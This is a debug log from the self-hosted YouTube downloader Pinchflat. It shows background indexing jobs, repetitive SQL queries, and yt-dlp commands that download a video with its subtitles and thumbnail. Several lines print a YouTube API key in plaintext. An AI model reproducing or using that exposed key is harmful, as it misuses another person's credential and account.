?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 15:46:36.542 [debug] QUERY OK source="tasks" db=0.1ms idle=100.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799814, 25, ~U[2026-02-10 21:46:36Z], ~U[2026-02-10 21:46:36Z]] 15:46:36.542 [info] {"args":{"id":25},"id":3799774,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":101964,"event":"job:stop","queue_time":501972,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:36.660 [debug] QUERY OK source="media_items" db=0.6ms idle=117.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 15:46:36.663 [debug] QUERY OK source="media_items" db=2.0ms idle=118.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 15:46:36.663 [debug] QUERY OK source="tasks" db=0.0ms idle=115.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799815, 7, ~U[2026-02-10 21:46:36Z], ~U[2026-02-10 21:46:36Z]] 15:46:36.664 [info] {"args":{"id":7},"id":3799775,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":223130,"event":"job:stop","queue_time":407638,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:37.441 [info] {"args":{"id":20},"id":3799776,"meta":{},"system_time":1770759997441644005,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:37.441 [debug] QUERY OK source="sources" db=0.1ms idle=777.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 15:46:37.442 [debug] QUERY OK source="settings" db=0.0ms idle=777.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:37.442 [debug] QUERY OK source="media_profiles" db=0.1ms idle=771.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:37.442 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:37.442 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 15:46:37.442 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:37.442 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:37.547 [debug] QUERY OK source="media_items" db=0.6ms idle=105.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 15:46:37.548 [debug] QUERY OK source="media_items" db=0.3ms idle=106.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 15:46:37.549 [debug] QUERY OK source="tasks" db=0.1ms idle=106.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799816, 20, ~U[2026-02-10 21:46:37Z], ~U[2026-02-10 21:46:37Z]] 15:46:37.549 [info] {"args":{"id":20},"id":3799776,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":107958,"event":"job:stop","queue_time":537812,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:40.412 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XFWTgmV5C84 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Climate Town/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Climate Town/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ea/15/ea15ea2706c01fc4b349dff669fe47884f7ed2b95557797ebcce0424d6af38e5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 15:46:40.422 [debug] Running yt-dlp command for action: download_thumbnail 15:46:40.441 [debug] QUERY OK source="settings" db=0.1ms idle=1562.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:40.441 [debug] QUERY OK source="settings" db=0.0ms idle=1562.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:40.441 [debug] QUERY OK source="settings" db=0.0ms idle=1563.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:40.441 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XFWTgmV5C84 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/1564183/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/c4/9a/c49a7198eabb27f43f71df25a47515404cdfee9a6ff1f48e9c3c5e0e7c3d9f41.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:46:42.689 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XFWTgmV5C84 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/1564183/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/c4/9a/c49a7198eabb27f43f71df25a47515404cdfee9a6ff1f48e9c3c5e0e7c3d9f41.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 15:46:42.690 [debug] QUERY OK db=0.0ms idle=1249.0ms begin [] 15:46:42.690 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "metadata_filepath" = ?, "thumbnail_filepath" = ?, "media_downloaded_at" = ?, "media_filepath" = ?, "subtitle_filepaths" = ?, "updated_at" = ? WHERE "id" = ? ["/downloads/Climate Town/2026-02-10 The Fossil Fuel Propaganda I Couldn't Find/The Fossil Fuel Propaganda I Couldn't Find [XFWTgmV5C84].info.json", "/downloads/Climate Town/2026-02-10 The Fossil Fuel Propaganda I Couldn't Find/The Fossil Fuel Propaganda I Couldn't Find [XFWTgmV5C84]-thumb.jpg", ~U[2026-02-10 21:46:40Z], "/downloads/Climate Town/2026-02-10 The Fossil Fuel Propaganda I Couldn't Find/The Fossil Fuel Propaganda I Couldn't Find [XFWTgmV5C84].mp4", [["en", "/downloads/Climate Town/2026-02-10 The Fossil Fuel Propaganda I Couldn't Find/The Fossil Fuel Propaganda I Couldn't Find [XFWTgmV5C84].en.srt"]], ~U[2026-02-10 21:46:42Z], 1564183] 15:46:42.691 [debug] QUERY OK source="media_metadata" db=1.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/1564183/metadata.json.gz", "/config/metadata/media_items/1564183/thumbnail.jpg", 1564183, ~U[2026-02-10 21:46:42Z], ~U[2026-02-10 21:46:42Z]] 15:46:42.692 [debug] QUERY OK db=0.1ms commit [] 15:46:42.694 [debug] QUERY OK source="media_items" db=2.2ms idle=813.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [19392244, ~U[2026-02-10 21:46:42Z], 1564183] 15:46:42.694 [info] User scripts lifecyle file either not present or is empty. Skipping. 15:46:42.694 [info] {"args":{"id":1564183},"id":3799809,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":11502972,"event":"job:stop","queue_time":191266,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 15:46:57.372 [info] {"source":"oban","duration":10398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.977 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:47:01.468 [info] {"args":{"id":42},"id":3799777,"meta":{},"system_time":1770760021468728559,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:01.468 [info] {"args":{"id":15},"id":3799778,"meta":{},"system_time":1770760021468762482,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:01.469 [debug] QUERY OK source="sources" db=0.1ms idle=1009.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 15:47:01.469 [debug] QUERY OK source="sources" db=0.2ms idle=590.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 15:47:01.469 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=491.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:01.469 [debug] QUERY OK source="settings" db=0.2ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:01.469 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:01.469 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:01.469 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:01.469 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 15:47:01.469 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:01.469 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 15:47:01.469 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:01.470 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:01.470 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:01.470 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:01.518 [debug] QUERY OK source="media_items" db=0.3ms idle=48.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 15:47:01.519 [debug] QUERY OK source="media_items" db=0.1ms idle=48.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 15:47:01.519 [debug] QUERY OK source="tasks" db=0.1ms idle=49.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799817, 42, ~U[2026-02-10 21:47:01Z], ~U[2026-02-10 21:47:01Z]] 15:47:01.520 [info] {"args":{"id":42},"id":3799777,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":51067,"event":"job:stop","queue_time":562396,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:01.525 [info] {"args":{"id":22},"id":3799779,"meta":{},"system_time":1770760021525650240,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:01.525 [debug] QUERY OK source="sources" db=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 15:47:01.526 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:01.526 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.4ms SELECT m0."id", m0."name", 